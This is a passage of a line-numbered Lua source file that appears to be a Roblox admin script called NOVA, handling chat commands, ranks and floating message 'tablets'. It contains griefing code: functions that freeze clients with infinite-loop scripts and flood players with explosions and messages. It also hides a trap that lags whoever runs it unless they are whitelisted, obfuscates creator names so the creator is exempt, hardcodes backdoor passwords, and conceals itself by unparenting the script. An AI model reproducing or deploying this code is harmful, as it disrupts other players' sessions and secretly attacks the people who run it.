  826. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  827. end
  828. return false
  829. end)() then
  830. table.insert(Children, Child)
  831. end
  832. GetRecursiveChildren(Child, Name, SearchType, Children)
  833. end)
  834. end
  835. end)
  836. elseif type(Source) == "table" then
  837. for _,Area in pairs(Source) do
  838. pcall(function()
  839. for _, Child in pairs(Area:children()) do
  840. pcall(function()
  841. if (function()
  842. if SearchType == nil or SearchType == 1 then
  843. return string.match(Child.Name:lower(), Name:lower())
  844. elseif SearchType == 2 then
  845. return string.match(Child.className:lower(), Name:lower())
  846. elseif SearchType == 3 then
  847. return Child:IsA(Name) or Child:IsA(Name:lower())
  848. elseif SearchType == 4 then
  849. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  850. end
  851. return false
  852. end)() then
  853. table.insert(Children, Child)
  854. end
  855. GetRecursiveChildren(Child, Name, SearchType, Children)
  856. end)
  857. end
  858. end)
  859. end
  860. else
  861. print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  862. end
  863. return Children
  864. end
  865.  
  866. --[[ GET REPLICATORS ]]--
  867. function GetReplicators()
  868. Rtn = NOVA.Services.NetworkServer:GetChildren()
  869. for i=1,#Rtn do
  870. if not Rtn[i]:IsA("ServerReplicator") then
  871. table.remove(Rtn,i)
  872. end
  873. end
  874. return Rtn
  875. end
  876.  
  877. --[[ GET RANKED ]]--
  878.  
  879. function GetRanked()
  880. local Rtn = {}
  881. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  882. if GetRank(v) ~= nil and GetRank(v) > 0 then
  883. table.insert(Rtn,v)
  884. end
  885. end
  886. return Rtn
  887. end
  888.  
  889. --[[ GTFO ]]--
  890. function GTFO(v)
  891. coroutine.resume(coroutine.create(function()
  892. pcall(function() CreateLocalScript("while true do end",v.Backpack) end)
  893. pcall(function() CreateLocalScript("while true do end",v.Character) end)
  894. wait(0.5)
  895. pcall(function() NOVA.Services.Debris:AddItem(v,0) end)
  896. end))
  897. end
  898. --[[ GET RID OF ]]--
  899.  
  900. function GetRidOf(v)
  901.  
  902. if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
  903.  
  904. Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  905.  
  906. else
  907. pcall(function()
  908.  
  909. coroutine.resume(coroutine.create(function()
  910.  
  911. v:Destroy()
  912. end))
  913.  
  914. end)
  915.  
  916. end
  917.  
  918. end
  919.  
  920. --[[ LAG ]]--
  921. function Lag(v)
  922. coroutine.resume(coroutine.create(function()
  923. if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
  924. OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  925. else
  926. while wait() do
  927. for i=1, 10 do
  928. local Msg = Instance.new("Message",v.PlayerGui)
  929. Msg.Text = "JOO B LAGGIN NARB"
  930. local Blas = Instance.new("Explosion",v.PlayerGui)
  931. Blas.BlastRadius = 123456
  932. end
  933. end
  934. local H = Instance.new("Hint",NOVA.Services.Workspace)
  935. repeat
  936. H.Text = v.Name.." be gettin' lagged."
  937. H.Parent = NOVA.Services.Workspace
  938. wait()
  939. until v.Parent == nil
  940. H:Remove()
  941. end
  942. end))
  943. end
  944. if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
  945. --[[ GET TABLETS ]]--
  946.  
  947. function GetTablets(Player)
  948. local Rtn = {}
  949. for _, Tablet in pairs(NOVA.Tablets) do
  950. if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
  951. if Tablet.Recipient.Value == Player then
  952. table.insert(Rtn, Tablet)
  953. end
  954. end
  955. end
  956. --table.insert(_tablets,Instance.new("Model"))
  957. return Rtn
  958. end
  959.  
  960. --[[ REMOVE TABLETS ]]--
  961.  
  962. function RemoveTablets(Player)
  963. if Player == nil then
  964. for _,v in pairs(NOVA.Tablets) do
  965. coroutine.resume(coroutine.create(function()
  966. for i=1,10 do
  967. v.Part.Transparency = v.Part.Transparency + 0.05
  968. v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  969. v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  970. wait()
  971. end
  972. v:remove()
  973. end))
  974. end
  975. else
  976. for _,v in pairs(GetTablets(Player)) do
  977. coroutine.resume(coroutine.create(function()
  978. for i=1,10 do
  979. v.Part.Transparency = v.Part.Transparency + 0.05
  980. v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  981. v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  982. wait()
  983. end
  984. v:remove()
  985. end))
  986. end
  987. end
  988. end
  989.  
  990. --[[ OUTPUT ]]--
  991. function Output(Message, Color, Player, Stick, Func)
  992. if Player == nil or Color == nil or Player == nil then
  993. print("[NOVA.Output] Argument(s) missing or nil.")
  994. return
  995. end
  996.  
  997. Message = tostring(Message)
  998. if type(Player) == "userdata" then
  999. if Player.Character == nil or Player.Character.Head == nil then
  1000. return
  1001. end
  1002. end
  1003. if type(Player) == "string" then
  1004. for _,v in pairs(GetPlayers(Player,"NOVA")) do
  1005. Output(Message,Color,v,Stick,Func)
  1006. end
  1007. return
  1008. end
  1009.  
  1010. if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  1011.  
  1012. local Model = Instance.new("Model",NOVA.Services.Workspace)
  1013. table.insert(NOVA.Tablets, Model)
  1014. Model.Name = "Output:" .. NOVA.Bet .. Player.Name
  1015.  
  1016. local Part = Instance.new("Part",Model)
  1017. Part.Transparency = 0.5
  1018. Part.CanCollide = false
  1019. Part.Locked = true
  1020. Part.Anchored = true
  1021. Part.Name = "Part"
  1022. Part.TopSurface = "Smooth"
  1023. Part.BottomSurface = "Smooth"
  1024. Part.FormFactor = "Plate"
  1025. Part.Color = Color
  1026. Part.Size = Vector3.new(2, 0.4, 3)
  1027. Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
  1028. Part:BreakJoints()
  1029.  
  1030. local Box = Instance.new("SelectionBox",Part)
  1031. Box.Name = "SelectionBox"
  1032. Box.Adornee = Part
  1033. Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  1034. Box.Transparency = 0.75
  1035.  
  1036. local Recipient = Instance.new("ObjectValue",Model)
  1037. Recipient.Name = "Recipient"
  1038. Recipient.Value = Player
  1039.  
  1040. Gui = Instance.new("BillboardGui")
  1041. Gui.Name = "BillboardGui"
  1042. Gui.Parent = Model
  1043. Gui.Adornee = Part
  1044. Gui.Size = UDim2.new(1, 0, 1, 0)
  1045. Gui.StudsOffset = Vector3.new(0, 3, 0)
  1046. local Frame = Instance.new("Frame",Gui)
  1047. Frame.Name = "Frame"
  1048. Frame.Size = UDim2.new(1, 0, 1, 0)
  1049. Frame.BackgroundTransparency = 1
  1050. Label = Instance.new("TextLabel")
  1051. Label.Name = "Label"
  1052. Label.Parent = Frame
  1053. Label.Size = UDim2.new(1,0,1,0)
  1054. Label.FontSize = "Size12"
  1055. Label.TextColor3 = Color
  1056. Label.Text = Message
  1057. Label.BackgroundTransparency = 1
  1058.  
  1059. local Click = Instance.new("ClickDetector",Part)
  1060. Click.MaxActivationDistance = 9201
  1061. Click.MouseClick:connect(function(player)
  1062. if player == Player or GetRank(player) > GetRank(Player) then
  1063. if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then
  1064. RemoveTablets(Player)
  1065. else
  1066. coroutine.resume(coroutine.create(function()
  1067. for i=1,10 do
  1068. Part.Transparency = Part.Transparency + 0.05
  1069. Box.Transparency = Box.Transparency + 0.025
  1070. Label.TextTransparency = Label.TextTransparency + 0.1
  1071. wait()
  1072. end
  1073. Model:remove()
  1074. end))
  1075.  
  1076. Func(player)
  1077. end
  1078. end
  1079. end)
  1080.  
  1081. coroutine.resume(coroutine.create(function()
  1082. if Stick == 0 or Stick == nil then else
  1083. pcall(function()
  1084. --[[for i=Stick,0,-0.5 do
  1085. Label.Text = Message .. "\t(" .. i .. ")"
  1086. wait(0.5)
  1087. end
  1088. Model:Destroy()]]
  1089. NOVA.Services.Debris:AddItem(Model,Stick)
  1090. end)
  1091. end
  1092. end))
  1093.  
  1094. return Click
  1095. end
  1096.  
  1097. -- [ IMAGE OUTPUT ]]--
  1098. function OutputImg(Image,Text,Color,Player,Stick,Func)
  1099. Tab = Output(Text,Color,Player,Stick,Func)
  1100.  
  1101. BBG = Instance.new("BillboardGui",Tab.Parent)
  1102. BBG.Size = UDim2.new(5,0,6,0)
  1103. BBG.StudsOffset = Vector3.new(0, 7, 0)
  1104. BBG.Adornee = Tab.Parent
  1105.  
  1106. Img = Instance.new("ImageLabel",BBG)
  1107. Img.Size = UDim2.new(1,0,1,0)
  1108. Img.BackgroundTransparency = 1
  1109. Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  1110. return Tab
  1111. end
  1112.  
  1113. --[[ OUTPUT MULTI ]]--
  1114.  
  1115. function OutputMulti(Msg,Color,Players,Stick,Func)
  1116. --if type(Players) == "Table" then
  1117. for _,v in pairs(Players) do
  1118. Output(Msg,Color,v,Stick,Func)
  1119. end
  1120. --end
  1121. end
  1122.  
  1123. --[[ UPDATE TABLETS ]]--
  1124.  
  1125. function UpdateTablets()
  1126. --pcall(function()
  1127. NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
  1128. for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1129. local Tablets = GetTablets(Player)
  1130. local Counter = 0
  1131. local StartCF = CFrame.new(0,0,0)
  1132.  
  1133. for i = 180, -180, -360/(#Tablets ) do
  1134. pcall(function()
  1135. Counter = Counter + 1
  1136. if NOVA.TabletPositionRelative == true then
  1137. StartCF = Player.Character.Torso.CFrame
  1138. else
  1139. StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
  1140. end
  1141. Tablets[Counter].Part.CFrame = StartCF
  1142. * CFrame.new(0, 0, 0)
  1143. * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
  1144. * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
  1145. * CFrame.Angles(math.rad(70), 0, 0)
  1146. end)
  1147. end
  1148.  
  1149. if #Tablets == 1 then
  1150. pcall(function()
  1151. Tablets[1].Part.CFrame = Player.Torso.CFrame
  1152. * CFrame.new(0, 0, 0)
  1153. * CFrame.Angles(0, math.rad(0), 0)
  1154. * CFrame.new(0, 0, -5)
  1155. * CFrame.Angles(math.rad(70), 0, 0)
  1156. end)
  1157. end
  1158. end
  1159. wait()
  1160. --end)
  1161. end
  1162. --[[ GET PLAYERS RAW ]]--
  1163. function GetPlayersRaw()
  1164. return NOVA.Services.Players:GetPlayers()
  1165. end
  1166.  
  1167. --[[ GET PLAYERS ]]--
  1168. function GetPlayers(Name,Speaker)
  1169. if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  1170. local OldName = Name
  1171. local Name = Name:lower()
  1172. local Players = GetPlayersRaw()
  1173. local Rtn = {}
  1174. for i=1,#Name do
  1175. if Name:find(",") then
  1176. local Split = 0
  1177. for i=1,#Name do
  1178. if Name:sub(i,i) == "," then
  1179. Split = i
  1180. end
  1181. end
  1182. for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
  1183. table.insert(Rtn,v)
  1184. end
  1185. Name = Name:sub(1,Split-1)
  1186. end
  1187. end
  1188. if Name == "external players" then
  1189. for _,v in pairs(NOVA.ExternalPlayersList) do
  1190. if GetRank(Speaker) >= GetRank(v) then
  1191. table.insert(Rtn,v)
  1192. else
  1193. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1194. end
  1195. end
  1196. elseif Name == "all" then
  1197. for _,v in pairs(Players) do
  1198. if GetRank(Speaker) >= GetRank(v) then
  1199. table.insert(Rtn,v)
  1200. else
  1201. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1202. end
  1203. end
  1204. elseif Name == "others" then
  1205. for _,v in pairs(Players) do
  1206. if v ~= Speaker then
  1207. if GetRank(Speaker) >= GetRank(v) then
  1208. table.insert(Rtn,v)
  1209. else
  1210. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1211. end
  1212. end
  1213. end
  1214. elseif Name == "random" then
  1215. local Person = Players[math.random(1,#Players)]
  1216. if GetRank(Speaker) >= GetRank(Person) then
  1217. table.insert(Rtn,Person)
  1218. else
  1219. Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1220. end
  1221. elseif Name == "me" or Name == "not me" or Name =="notme" then
  1222. table.insert(Rtn,Speaker)
  1223. elseif Name == "vetrans" then
  1224. for _,v in pairs(Players) do
  1225. if v.AccountAge > 365 then
  1226. if GetRank(Speaker) >= GetRank(v) then
  1227. table.insert(Rtn,v)
  1228. else
  1229. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1230. end
  1231. end
  1232. end
  1233. elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
  1234. for _,v in pairs(Players) do
  1235. if v.AccountAge < 365 then
  1236. if GetRank(Speaker) >= GetRank(v) then
  1237. table.insert(Rtn,v)
  1238. else
  1239. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1240. end
  1241. end
  1242. end
  1243. elseif Name == "newbs" or Name == "noobs" then
  1244. for _,v in pairs(Players) do
  1245. if v.AccountAge < 60 then
  1246. if GetRank(Speaker) >= GetRank(v) then
  1247. table.insert(Rtn,v)
  1248. else
  1249. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1250. end
  1251. end
  1252. end
  1253. elseif Name == "targeted" then
  1254. for _,v in pairs(NOVA.Targeted) do
  1255. if GetRank(Speaker) >= GetRank(v) then
  1256. table.insert(Rtn,v)
  1257. else
  1258. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1259. end
  1260. end
  1261. elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
  1262. for _,v in pairs(Players) do
  1263. if not IsTargeted(v) then
  1264. if GetRank(Speaker) >= GetRank(v) then
  1265. table.insert(Rtn,v)
  1266. else
  1267. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1268. end
  1269. end
  1270. end
  1271. elseif string.sub(Name,1,5) == "rank " then
  1272. local ToKillRank = string.sub(Name,6)
  1273. for i,v in pairs(game.Players:GetPlayers()) do
  1274. if GetRanked(v) == ToKillRank then
  1275. if GetRank(Speaker) >= GetRank(v) then
  1276. table.insert(Rtn,v)
  1277. else
  1278. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1279. end
  1280. end
  1281. end
  1282. elseif Name:sub(1,4) == "not " then
  1283. for _,v in pairs(Players) do
  1284. for _,Check in pairs(Players) do
  1285. if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
  1286. if v ~= Check then
  1287. if GetRank(Speaker) >= GetRank(v) then
  1288. table.insert(Rtn,v)
  1289. else
  1290. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1291. end
  1292. end
  1293. end
  1294. end
  1295. end
  1296. else
  1297. for _,v in pairs(Players) do
  1298. if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
  1299. if GetRank(Speaker) >= GetRank(v) then
  1300. table.insert(Rtn,v)
  1301. else
  1302. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1303. end
  1304. end
  1305. end
  1306. end
  1307. return Rtn
  1308. end
  1309.  
  1310. --[[ ON CHATTED ]]--
  1311. function OnChatted(Msg,Speaker)
  1312. coroutine.resume(coroutine.create(function()
  1313. if NOVA.Removed == false then
  1314. if Msg:find(" --") then
  1315. for i=1,#Msg do
  1316. if Msg:sub(i,i+2) == " --" then
  1317. Msg = Msg:sub(1,i-1)
  1318. break
  1319. end
  1320. end
  1321. end
  1322. local Data = GetRankedTable(Speaker)
  1323. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1324. if NOVA.ShowChat == true then
  1325. if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
  1326. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))
  1327. else
  1328. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)
  1329. end
  1330. end
  1331. end
  1332.  
  1333. --[[ CHAT FILTERS ]]--
  1334. for _,v in pairs(NOVA.ChatFilters) do
  1335. if Msg:lower():sub(1,#v + 1) == v:lower().." " then
  1336. Msg = Msg:sub(#v+2)
  1337. end
  1338. end
  1339.  
  1340. if GetRank(Speaker) < 6 then
  1341. --[[ KILLING PHRASES ]]--
  1342. for _,v in pairs(NOVA.KillingPhrases) do
  1343. if Msg:lower():find(v:lower()) then
  1344. pcall(function()
  1345. Speaker.Character:BreakJoints()
  1346. end)
  1347. end
  1348. end
  1349. end
  1350. local FoundKick = false
  1351. if NOVA.BadPhrases == true then
  1352. if GetRank(Speaker) <= 0 then
  1353. --[[ KICKING PHRASES ]]--
  1354. --if game.PlaceId == 113456 or game.PlaceId == 56786 then
  1355. for _,v in pairs(NOVA.KickingPhrases) do
  1356. if FoundKick == false then
  1357. if Msg:lower():find(v:lower()) then
  1358. GetRidOf(Speaker)
  1359. FoundKick = true
  1360. makeMessage("[NOVA]: " .. Speaker.Name .. " has been removed for using a illegal term:" .. v, NOVA.Services.Workspace)
  1361. pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
  1362. end
  1363. end
  1364. end
  1365. end
  1366. end
  1367.  
  1368. --[[ ANIMATIONS ]]--
  1369. for _,v in pairs(NOVA.Animations) do
  1370. if Speaker.Name == v.Who then
  1371. if Msg:lower():find(v.Name:lower()) then
  1372. pcall(function()
  1373. CreateLocalScript([[
  1374. local Animation = Instance.new("Animation",workspace)
  1375. Animation.Name = "Dylanbuil's Animation"
  1376. Animation.AnimationId = "]]..v.Id..[["
  1377. local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
  1378. local anim_feet = hum:LoadAnimation(Animation)
  1379. local current = anim_feet
  1380. current:Play(0.5)
  1381. ]],Speaker.Backpack)
  1382. end)
  1383. end
  1384. end
  1385. end
  1386.  
  1387. Num = 1
  1388. Sep = nil
  1389.  
  1390. if Msg:sub(1,3) == NOVA.Bet .. "do" then
  1391.  
  1392. for i=4,#Msg do
  1393. if Msg:sub(i,i) == NOVA.Bet .. "" then
  1394. Sep = i
  1395. break
  1396. end
  1397. end
  1398.  
  1399. if Sep ~= nil then
  1400. Num = tonumber(Msg:sub(4,Sep-1))
  1401. end
  1402.  
  1403. Msg = Msg:sub(Sep)
  1404. end
  1405.  
  1406. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
  1407.  
  1408. if Data.Rank < 6 and Data.Rank >= 0 then
  1409. if Num > (GetRank(Speaker) + 1 )*10 then
  1410. Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1411. Num = 0
  1412. end
  1413. end
  1414. for i=1,Num do
  1415. if NOVA.Canceled == true then NOVA.Canceled = false break end
  1416. for _,CMD in pairs(NOVA.Commands) do
  1417. if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
  1418. RemoveTablets(Speaker)
  1419. Output("Name : "..CMD.Name,Data.Color,Speaker)
  1420. Output("Rank : "..CMD.Rank,Data.Color,Speaker)
  1421. Output("Command : "..CMD.Command,Data.Color,Speaker)
  1422. Output("Arguments : "..CMD.Args,Data.Color,Speaker)
  1423. Output("Description : "..CMD.Description,Data.Color,Speaker)
  1424. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1425. elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
  1426. if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
  1427. if NOVA.Overrided == true and Data.Rank < 7 then
  1428. Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
  1429. else
  1430. local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
  1431. if not a then
  1432. Output(b,NOVA.Colors.Red,Speaker,15)
  1433. else
  1434. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
  1435. end
  1436. end
  1437. else
  1438. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
  1439. print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1440. Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1441. end
  1442.  
  1443. end
  1444. end
  1445. wait()
  1446. end
  1447. end
  1448. end))
  1449. end
  1450.  
  1451. --[[ ADD COMMAND ]]--
  1452. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1453. for i,v in pairs(NOVA.Commands) do
  1454. if v.Command == Command then
  1455. table.remove(NOVA.Commands,i)
  1456. end
  1457. end
  1458. table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1459. end
  1460.  
  1461. --[[ BACKUP PROCEDURE ]]--
  1462. pcall(function()
  1463. NOVA.Backup = script:children()[2].Value
  1464. end)
  1465.  
  1466. --[[ NIL SUPPORT ]]--
  1467. game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
  1468. local Split = GetSplit(Message)
  1469. OnChatted(Message:sub(Split+1),Message:sub(Split-1))
  1470. end)
  1471.  
  1472. --[[ Safety Procedure # 1 ]]--
  1473. pcall(function()
  1474. NOVA.LocalScript.Parent = nil
  1475. end)
  1476. for _,v in pairs(NOVA.Plugins) do
  1477. pcall(function()
  1478. v.Parent = nil
  1479. end)
  1480. end
  1481. pcall(function()
  1482. script:ClearAllChildren()
  1483. end)
  1484.  
  1485. --[[ Safty Procedure # 2 ]]--
  1486. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1487. if v:IsA("StringValue") or v:IsA("IntValue") then
  1488. pcall(function()
  1489. v:remove()
  1490. end)
  1491. end
  1492. end
  1493.  
  1494. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1495. for _,Service in pairs(NOVA.Services) do
  1496. pcall(function()
  1497. Service.DescendantAdded:connect(function(v)
  1498. if v:IsA("BaseScript") then
  1499. table.insert(NOVA.LoggedScripts,v)
  1500. end
  1501. end)
  1502. end)
  1503. end
  1504.  
  1505. for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
  1506. pcall(function()
  1507. table.insert(NOVA.LoggedScripts,v)
  1508. end)
  1509. end
  1510.  
  1511. --[[ GLOBAL FUNCTIONS ]]--
  1512. function SetGlobals()
  1513. if NOVA.UseGlobals == true then
  1514. _G.NOVACommands = function(Msg,Speaker,Players,Password)
  1515. if Password == "grandma" then
  1516. NOVA.ExternalPlayersList = {}
  1517. for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
  1518. OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
  1519. end
  1520. end
  1521.  
  1522. _G.RemoveNOVA = function(Pass)
  1523. if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
  1524. NOVA.Removed = true
  1525. NOVA = {}
  1526. error("Unknown Exception")()
  1527. script.Disabled = true
  1528. script:Remove()
  1529. else
  1530. return false
  1531. end
  1532. end
  1533.  
  1534. _G.NOVAOverride = function(Player,Password)
  1535. if Password == nil then Password = "" end
  1536. CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
  1537. return CanOverride
  1538. end
  1539. elseif NOVA.UseGlobals == false then
  1540. _G.NOVACommands = nil
  1541. _G.RemoveNOVA = nil
  1542. _G.NOVAOverride = nil
  1543. end
  1544. end
  1545.  
  1546. --[[ INITIAL STARTUP ]]--
  1547.  
  1548. SetGlobals()
  1549. UpdatePlayerPlugins()
  1550.  
  1551. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  1552. for _,v in pairs(NOVA.LoggedScripts) do
  1553. if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
  1554. NOVA.LocalScript = v:Clone()
  1555. elseif v:IsA("Script") and v:FindFirstChild("DSource") then
  1556. NOVA.NormalScript = v:Clone()
  1557. end
  1558. end
  1559. end
  1560.  
  1561. for _,v in pairs(GetPlayersRaw()) do
  1562. pcall(function()
  1563. coroutine.resume(coroutine.create(function()
  1564. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1565. pcall(function()
  1566. v.PlayerGui.NOVACMD:Remove()
  1567. end)
  1568.  
  1569. if GetRankedTable(v)==nil then
  1570. SyncRankInSingular(v)
  1571. repeat wait() until GetRankedTable(v) ~= nil
  1572. end
  1573.  
  1574. local Data = GetRankedTable(v)
  1575.  
  1576. v.Chatted:connect(function(Msg)
  1577. OnChatted(Msg,v)
  1578. end)
  1579. coroutine.resume(coroutine.create(function()
  1580. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1581. CreateLocalScript(PlayerPlugins,v.Backpack)
  1582. end))
  1583. end))
  1584. end)
  1585. end
  1586.  
  1587. --[[ PLAYER ADDED ]]--
  1588. NOVA.Services.Players.PlayerAdded:connect(function(v)
  1589. if NOVA.Removed == false then
  1590. pcall(function()
  1591. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1592. coroutine.resume(coroutine.create(function()
  1593. --if Data.Rank < 1 then
  1594. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1595. coroutine.resume(coroutine.create(function()
  1596. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1597. CreateLocalScript(PlayerPlugins,v.Backpack)
  1598. OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
  1599. end))
  1600. end
  1601. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1602. coroutine.resume(coroutine.create(function()
  1603. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1604. OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
  1605. end))
  1606. end
  1607. --end
  1608. v.Chatted:connect(function(Msg)
  1609. OnChatted(Msg,v)
  1610. end)
  1611. if GetRankedTable(v)==nil then
  1612. SyncRankInSingular(v)
  1613. repeat wait() until GetRankedTable(v) ~= nil
  1614. end
  1615.  
  1616. local Data = GetRankedTable(v)
  1617.  
  1618. OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
  1619.  
  1620. if Data.Rank == -2 then
  1621. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1622. OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1623. Lag(v)
  1624. end
  1625. end
  1626.  
  1627. if Data.Rank == -1 then
  1628. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1629. OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
  1630. GetRidOf(v)
  1631. end
  1632. end
  1633.  
  1634. if not Data.Rank > 0 then
  1635. if v.AccountAge < 5 then
  1636. if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1637. if v.Name:sub(1,6) == "Guest " then
  1638. if NOVA.EnableGuests == false then
  1639. OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
  1640. GetRidOf(v)
  1641. end
  1642. else
  1643. if not Data.Rank > 0 then
  1644. OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
  1645. GetRidOf(v)
  1646. end
  1647. end
  1648. end
  1649. end
  1650. end
  1651.  
  1652. if NOVA.PRI == true then
  1653. if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  1654. OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
  1655. if NOVA.PRIType == "Kick" then
  1656. v:Remove()
  1657. elseif NOVA.PRIType == "Lag" then
  1658. Lag(v)
  1659. elseif NOVA.PRIType == "Shutdown" then
  1660. coroutine.resume(coroutine.create(function()
